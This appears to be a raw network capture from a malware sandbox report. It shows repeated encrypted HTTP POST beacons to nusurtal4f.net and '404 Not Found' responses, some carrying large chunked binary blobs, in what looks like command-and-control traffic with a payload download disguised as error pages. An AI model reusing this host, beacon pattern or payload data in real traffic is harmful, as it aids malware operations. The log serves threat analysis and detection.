6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 29, 2021 17:56:10.470738888 CEST	11519	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nusurtal4f.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 279 Host: nusurtal4f.net
Oct 29, 2021 17:56:10.471091032 CEST	11520	OUT	Data Raw: 4a 9d f8 c8 49 12 58 26 5e 01 57 26 78 ad 25 c1 5b 69 e8 66 f5 69 aa dc bc 6c a2 82 0b 83 d7 94 8f db 8a b3 01 35 e4 b1 a2 5f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bb 8a 14 62 cd d6 4f 96 a9 d9 0e b0 Data Ascii: JIX&^W&x%[ifil5_jp_S61oJf=B!bO2elVD\|XYS}l+-?}/s8X5=Q+>sQ'T+~,mB$o)~)$D`hXDszL;iK[y
Oct 29, 2021 17:56:10.649597883 CEST	11522	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:56:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 57 2b 4d 9c 94 1b 7e 45 f7 ff 78 8d 55 db 24 0d 10 12 b4 1f eb 92 24 a6 4d c5 03 97 65 a3 61 7e de f5 36 9c 19 17 7e 4f af 9a a5 84 cb a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f4 96 be 25 51 61 9f d4 3f 7c 88 28 c8 48 6b 31 70 48 9a 07 fd ec 3f 36 7f ac 85 2f bd e0 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 c5 52 ce 4f 13 79 82 ae 9c f7 ad 4e 3d 79 ac f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 10 d3 fb 13 7f 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 02 ed fd 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 44 40 40 07 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 40 22 b5 1b 6f d3 cb 29 32 86 e5 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 5b 62 90 58 3f ae 03 5f a0 1f e4 a6 bd 12 9f 10 ff d9 b0 99 b5 9b 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 97 b2 ec a2 94 4a a9 b4 bb d1 46 bb 2a d2 be 45 1f d0 b5 aa 7a 8f 0e 69 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a 56 63 b3 88 7d 3f dc e5 7e 3f a4 70 d4 03 bb 03 9a 76 6a 0f ca 82 c3 26 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 03 b2 27 70 10 7b 3a 1d f8 08 85 af 88 c1 a4 0e 31 25 4d db a9 c3 f8 cb 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 4e 93 81 59 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d c6 29 07 b5 71 c3 e9 f8 36 79 24 5b 95 1a a0 ff 51 1a ad fe 25 5f a3 01 3f d0 1c e1 0f 1e d9 d1 10 ab 37 30 4b b2 96 56 6f d2 eb 06 3d 48 d1 9d 2c 12 c2 ed 3c aa 37 9d ca d3 81 a1 8c 63 cb b9 d8 cd 22 2a 42 3e 7a 1a 49 8e 05 0a 11 28 e7 67 f0 6a b0 f3 68 55 ab 45 7f 0e 29 f9 87 35 5e 25 8d 01 7a 20 73 e6 b3 Data Ascii: 1f42`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGjT05sq733hsE\|WD<P5Q"f=(jC\SMUdT[Up"XJ3Ob>!Z:V?#BSSQW+M~ExU$$Mea~6~OzN.%Qa?\|(Hk1pH?6/MF$l#l)l~qhJROyN=yW;r#u1yr+L1<'i3FHU=h?U@Wd{9f(D@@=fd0QpKk1:TU@"o)2[P&}WL\h[bX?_tyPmCbzJFEzi7 R:Vc}?~?pvj&.5)C'p{:1%M/#wNYRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=)q6y$[Q%_?70KVo=H,<7c"B>zI(gjhUE)5^%z s
Oct 29, 2021 17:56:10.649648905 CEST	11523	IN	Data Raw: a5 03 11 d0 e4 93 8c 17 6b f0 ec aa d2 f3 3a 48 64 b6 21 e2 40 08 4b 84 e5 60 27 27 1b 20 51 cf c0 5c 5f 45 cf e3 61 6e f6 51 80 f1 2f 17 ea 3b 2b 5e dc 55 db 40 c4 89 0a 04 80 8f 1b 9a fa e1 43 01 41 68 05 02 12 bc 93 bd 37 c2 41 f1 78 b9 ce 77 Data Ascii: k:Hd!@K`'' Q\_EanQ/;+^U@CAh7Axw8(bbS&gw)S~/3L<@/%fSo7D`8X9vgv(Ov !15]TG,nlj$V7+=o!jucN
Oct 29, 2021 17:56:10.649703979 CEST	11524	IN	Data Raw: ee 6f b4 51 18 8c bf f5 b5 b0 56 52 b6 09 b6 7e b3 c2 d8 a2 25 e7 82 4b 7f 97 2b 12 43 6a 4b 13 a8 7b 9e 03 ae 0a 68 ff e8 fb 98 b1 89 5c b3 17 49 cf cf 54 54 b3 b3 1b d7 e6 a1 8b d3 35 6f cf 57 93 f2 6e 2f 19 17 87 04 a2 76 94 09 0b 7a 4f db d3 Data Ascii: oQVR~%K+CjK{h\ITT5oWn/vzOCM:J@&v@g%>kG^3}<\|+6-T7&\|7V"b.$&DE>B6%38Jx$B`M`3o40z \p`T?^2]8
Oct 29, 2021 17:56:10.649744987 CEST	11526	IN	Data Raw: e9 79 d0 ec 75 b3 48 c1 8f ca 68 a3 17 ab 02 0d 56 13 fa 80 22 ae 69 e3 1a d5 43 98 66 3b c6 fd 70 6e 64 12 7c f9 20 b4 a8 8b ec df e7 d7 6a 3e ba 3f 95 75 69 3e e2 ae 94 9d 15 7e 47 db 67 46 81 8a ff fe 6e d5 fe 78 ca 68 e4 bc c6 56 00 79 2d 5e Data Ascii: yuHhV"iCf;pnd\| j>?ui>~GgFnxhVy-^.8 g+TO9)p_pOH>(5Kajc^L^LRO*eGcNo,IGdd<tUi4_#3eR>cZ{qeA`)2$h/Ru
Oct 29, 2021 17:56:10.649785995 CEST	11527	IN	Data Raw: c6 6b 3d f8 56 2c b2 4b d3 bf 54 6f f9 0a 9d ac 69 6d 3a 5d 23 75 1b de f0 eb e6 dc ea 5f 3f 31 04 0a 1a e2 38 d1 a0 d7 80 8b 96 d0 4a 6b 8f b8 74 79 4f a4 78 1d db c9 77 9a ec 82 e5 1b 64 ca a0 4e f5 e2 b8 71 e5 ce 4f d9 9e f7 c7 40 80 0b f2 d0 Data Ascii: k=V,KToim:]#u_?18JktyOxwdNqO@)O9{t3j^2W1\|^%?6f;)^~6K=/5::-ApvjCoQ}^qIVERtOQUMP(5@=dI1k?w>`
Oct 29, 2021 17:56:10.649825096 CEST	11529	IN	Data Raw: c0 57 58 4c d0 5e 8e 6b 39 32 0a d6 16 52 45 d0 9b 07 78 31 e6 ea bc eb e0 35 3d a2 49 7a c2 f0 8c 6c 49 01 bc 5a 67 01 60 5c c3 c2 2f 5f 3c f5 0d ff 06 de ca cc a5 9e b1 e1 9c 11 12 f0 8e 0e bd 25 3c 5c d8 5e 03 b4 e7 81 bc 5b 6e cd 74 79 ad e9 Data Ascii: WXL^k92REx15=IzlIZg`\/_<%<\^[ntyTYKn;-(&p-6s4u\37I{?+v2-T@#t=Yt?Fk~5k,SReoo%Jf9((V,NI+
Oct 29, 2021 17:56:10.649853945 CEST	11529	IN	Data Raw: 2f 27 c6 42 66 04 e5 7b 47 17 10 55 c8 da 64 a1 5e e5 bb 2f 92 8f 70 e7 55 6f 23 42 e2 f6 30 fc 99 a8 7a e1 69 a6 a9 d7 52 18 4d 7b b3 a3 77 6b bf b9 c8 ef b3 83 23 6c 9b 99 d3 b0 b0 71 a8 15 af e7 a6 f6 b0 41 d3 24 b4 61 48 44 ec 81 4c a4 42 bf Data Ascii: /'Bf{GUd^/pUo#B0ziRM{wk#lqA$aHDLBcgl0i[iIx}Z]datY6CHAGyFDFLg3nKdS2Tgn
Oct 29, 2021 17:56:10.649894953 CEST	11530	IN	Data Raw: 31 30 30 30 0d 0a 4f 9c eb 93 48 86 24 fa 2b cb 4f 58 5c 9b b1 4f 5a 7a 44 89 e2 40 d0 34 ee ac 5d b2 9f b1 59 1d 19 cf 0c 83 2d 23 d4 d4 7c 20 d8 41 f5 a7 55 70 ad 0a 22 f8 2a dd b2 16 50 4f ff 35 d2 9c 30 8c 5c 51 af e2 60 e3 5e d6 ac 62 13 78 Data Ascii: 1000OH$+OX\OZzD@4]Y-#\| AUp"*PO50\Q`^bxCU\|Er~=+t#O^bug<h\#qI&,ChNh0TeH(8\|&,KDj$GW:Nm["N<["6Y X8!6bgI1R L~Q1E
Oct 29, 2021 17:56:10.649933100 CEST	11532	IN	Data Raw: 83 25 50 53 f9 9b bf 70 2f e4 8f e2 b2 6e 0f 43 99 a3 02 09 3f e7 7a 65 3e 29 b2 5e 9c 60 6c a5 b7 43 3f d2 87 35 40 c8 f3 4a 95 bd f1 05 db e3 e6 7b 73 8f 6b bf 73 63 cf 47 d5 48 2c af f7 99 1a 2e 81 03 c5 06 88 0c 85 14 2d 3b f1 3d 0a fe f9 af Data Ascii: %PSp/nC?ze>)^`lC?5@J{skscGH,.-;=]d~Z)kM9F&3%OKl4nx,>jWNVQ?QyP"2Z%k&YFT?IF,DD+^z"N(P*2^GXT
Oct 29, 2021 17:56:10.704277992 CEST	11533	IN	Data Raw: 40 d8 18 a5 1e 94 7a 43 ff 33 12 c1 3b b1 6a 78 82 2a b5 3d ad c3 a2 4d 63 50 6a 27 fa 13 11 12 cc fd 04 ee ba ed f4 d6 4e 81 78 43 38 27 0e d5 e8 79 46 36 a5 ba 3e f4 d0 25 f9 70 e6 c9 49 3c 70 9b b1 b6 1d 6d 42 7c 6d 3b ff bd 16 63 fd 79 0c 9f Data Ascii: @zC3;jx*=McPj'NxC8'yF6>%pI<pmB\|m;cyy%CmKK/CSW(\|o^[tuwskD\!NZb)hOy\SQ""7gywjrk\K#NW 5t&(?F4HGFG%(:ZsuV
Oct 29, 2021 17:56:10.712265015 CEST	11535	IN	Data Raw: 92 34 04 fa b4 20 38 aa d3 ef b9 94 90 c9 fe e3 4f 96 1f 7b f2 61 e9 2c 52 56 51 9c 40 cf e2 3b cb e5 3b 77 7e e5 5f 57 69 5f 39 dc 7b b9 3f 48 a3 51 c5 88 b3 73 5e b1 c2 84 03 a4 68 0c 3d 57 02 38 74 93 ce 25 9b 68 60 54 22 5a b4 e1 96 2f 2e bc Data Ascii: 4 8O{a,RVQ@;;w~_Wi_9{?HQs^h=W8t%h`T"Z/.[ 31000ADE/^vIxyqxMlZN.:AD5mlQ/cfYW[(+\|rY~:aZdy*yN,WHy/7yLTcK=0y
Oct 29, 2021 17:56:13.175621033 CEST	12772	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nusurtal4f.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 162 Host: nusurtal4f.net
Oct 29, 2021 17:56:13.175672054 CEST	12772	OUT	Data Raw: 4a 9d f8 c8 49 12 58 26 5e 01 57 26 78 ad 25 c1 5b 69 e8 66 f5 69 aa dc bc 6c a2 82 0b 83 d7 94 8f db 8a b3 01 35 e4 b1 a2 5f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 bb 8a 14 62 cc d6 4f 96 a6 d7 52 c8 Data Ascii: JIX&^W&x%[ifil5_jp_S61oJf=B!bOR!!Q$dE<FritJ;NL2[Q;+"8:2Q
Oct 29, 2021 17:56:13.340761900 CEST	12773	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:56:13 GMT Content-Type: text/html; charset=utf-8 Content-Length: 327 Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 29, 2021 17:56:13.371149063 CEST	12773	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nusurtal4f.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 141 Host: nusurtal4f.net
Oct 29, 2021 17:56:13.371220112 CEST	12773	OUT	Data Raw: 4a 9d f8 c8 49 12 58 26 5e 01 57 26 78 ad 25 c1 5b 69 e8 66 f5 69 aa dc bc 6c a2 82 0b 83 d7 94 8f db 8a b3 01 35 e4 b1 a2 5f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 b8 8a 14 62 cd d6 4f 96 9d b4 25 e9 Data Ascii: JIX&^W&x%[ifil5_jp_S61oJf=B!bO%\|(r)?>x1_4jM,TiQ
Oct 29, 2021 17:56:13.550215006 CEST	12775	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:56:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 9d 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8b bf 6a c6 ca 05 11 fc 86 d5 36 8c f6 c7 35 f3 73 07 03 d2 ff f9 fa fa eb b2 b9 71 cd 79 33 33 d1 60 73 45 7c 1f 57 44 63 84 be 3c 50 15 51 fe 08 a2 b9 7f 18 66 7d 28 2a a7 6a dd d6 bc db 43 15 5c 53 a6 cd f6 4d 55 62 91 54 5b fd 55 19 d0 ed c5 70 b1 17 20 58 4a ed 08 63 3e 17 21 6b df a3 06 83 3a 56 2f cb 00 23 be 52 15 d7 17 53 53 fa cb 1f 9e 0d 09 52 2b e5 8d 83 7b 7e 45 f7 ff e4 e1 55 db 8b 0d 13 13 bf 9e e1 92 08 0c 4f c5 03 a1 cb a1 61 7e de f5 69 e1 19 17 c6 4c af 9a a5 e4 c9 a0 cd b9 dd 7a 0d 90 4e 19 e0 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 0d c0 5d bf 46 34 fd f8 12 4c 33 6c 21 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 e3 a0 f5 1a 20 9b 4a d8 19 ae cc 4f 3b 79 82 ae b2 e3 67 34 01 56 ad f3 a3 77 2a b9 72 ce cc 23 b2 3b 0e 31 79 90 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 43 11 bb b6 81 43 4f 55 b7 69 b7 9f 1f cd cc 46 d9 c8 15 ac af ed d9 55 3d ff ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 26 e7 ac 44 06 f6 27 2c 18 f8 c7 9b 88 e7 3d 66 f1 2a 64 b1 1d 32 12 51 8c 26 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 0e a1 54 17 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 1e 54 ab 1e f6 11 11 ee c3 ce 57 a3 04 1d 85 1f d6 5c 6d 91 cc 62 06 f1 60 7f ae 03 58 e5 1d e4 a4 7d 10 99 10 b9 d9 b0 99 07 99 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a 8f f6 6b e3 80 8a 49 37 03 80 e3 1c cd 20 f5 52 b7 3b 3a 96 f5 cb e7 17 3f dc e5 7e 0d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 98 3a 1d f8 4e b5 14 86 c1 70 a8 fe 04 c5 db ad 0e c9 9c 47 a2 91 29 98 f9 4c 79 de 79 d5 57 d0 6f fd ef 76 67 a8 db e9 d5 6a e2 3c 99 a8 84 be 57 a7 eb 6c 28 8e 94 16 a3 4e d4 e7 23 b2 52 dc 1a 9e 8b 18 07 64 01 7d 46 02 82 96 c6 ce 2d b2 9d df 3c 42 56 60 de 9e 93 0f 94 45 a9 24 4f 78 60 22 30 5f d6 a0 b8 78 fe b1 8e 98 37 20 5e 32 d0 c9 f3 32 42 82 39 16 12 47 0b f9 17 30 8d e3 51 22 b2 3d df 10 54 5a 17 1c 5c 5a 12 b3 19 5f 11 8f 69 f9 e4 b9 2a 01 6e f3 fd 58 b3 dc 95 25 1f 90 13 f7 5e 15 23 b5 01 92 e3 92 c2 01 7d 7e d3 95 bc 43 cf 76 62 93 55 e1 05 85 d4 9c 97 2e 60 10 3a 93 83 ac e5 fe 99 ae 32 c8 6e 95 8d 4a d5 f8 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 fb 37 67 d2 1f ad af a2 e2 54 24 d0 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 56 62 8c c1 69 c7 32 a7 90 4e b0 d4 08 d9 4e 27 38 4b 74 b0 4f b5 24 74 05 f6 6c 1d bf 9d 69 3d 57 f7 4f fc 32 78 7e 06 13 1b b9 fb 15 51 ed 00 fe 26 0d 72 d5 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ea 3b d4 e5 26 b5 6b 35 07 00 2d ed 7f ff ae 1c 0b 70 63 3d 01 2c 2b 77 33 c2 00 45 3d 79 24 0d 1e eb 67 f9 7d d8 ef fe 8d f0 a8 41 11 54 3d c3 68 7c ad d6 46 43 7c 20 4b d2 cf dd a9 8e 29 02 3d a9 31 99 a5 13 01 6e 01 2e 10 72 c8 ad f4 ae a4 47 29 b9 d8 a7 22 40 42 c1 6f 02 89 cc 05 81 55 0c e3 56 f5 90 b4 f3 5b 11 8f 41 f5 0a 29 78 85 9b 6d ca 8b e0 7b 28 c4 db bb Data Ascii: 1f42`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGj65sqy33`sE\|WDc<PQf}(jC\SMUbT[Up XJc>!k:V/#RSSR+{~EUOa~iLzN,%Qa>\|(HkJ{/a]F4L3l!\|~q JO;yg4Vwr#;1yr+LCCOUiFU=hU@Wd{9&D',=fd2Q&Kk^To)2([TW\mb`X}tyPmCbz+z(FzkI7 R;:?~pvn%.5_)CCUb:NpG)LyyWovgj<Wl(N#Rd}F-<BV`E$Ox`"0_x7 ^22B9G0Q"=TZ\Z_i*nX%^#}~CvbU.`:2nJeig:X]y7gT$:jqw'eSUHc6ZkVbi2NN'8KtO$tli=WO2x~Q&re??f`;&k5-pc=,+w3E=y$g}AT=h\|FC\| K)=1n.rG)"@BoUV[A)xm{(
Oct 29, 2021 17:56:15.010494947 CEST	12802	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nusurtal4f.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 124 Host: nusurtal4f.net
Oct 29, 2021 17:56:15.010554075 CEST	12803	OUT	Data Raw: 4a 9d f8 c8 49 12 58 26 5e 01 57 26 78 ad 25 c1 5b 69 e8 66 f5 69 aa dc bc 6c a2 82 0b 83 d7 94 8f db 8a b3 01 35 e4 b1 a2 5f 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 b8 8a 14 62 cc d6 4f 96 ac fb 52 ad Data Ascii: JIX&^W&x%[ifil5_jp_S61oJf=B!bOR*eMV!n?.x\0q0>
Oct 29, 2021 17:56:15.213001013 CEST	12803	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:56:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 327 Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 29, 2021 17:56:15.254321098 CEST	12804	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nusurtal4f.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 163 Host: nusurtal4f.net
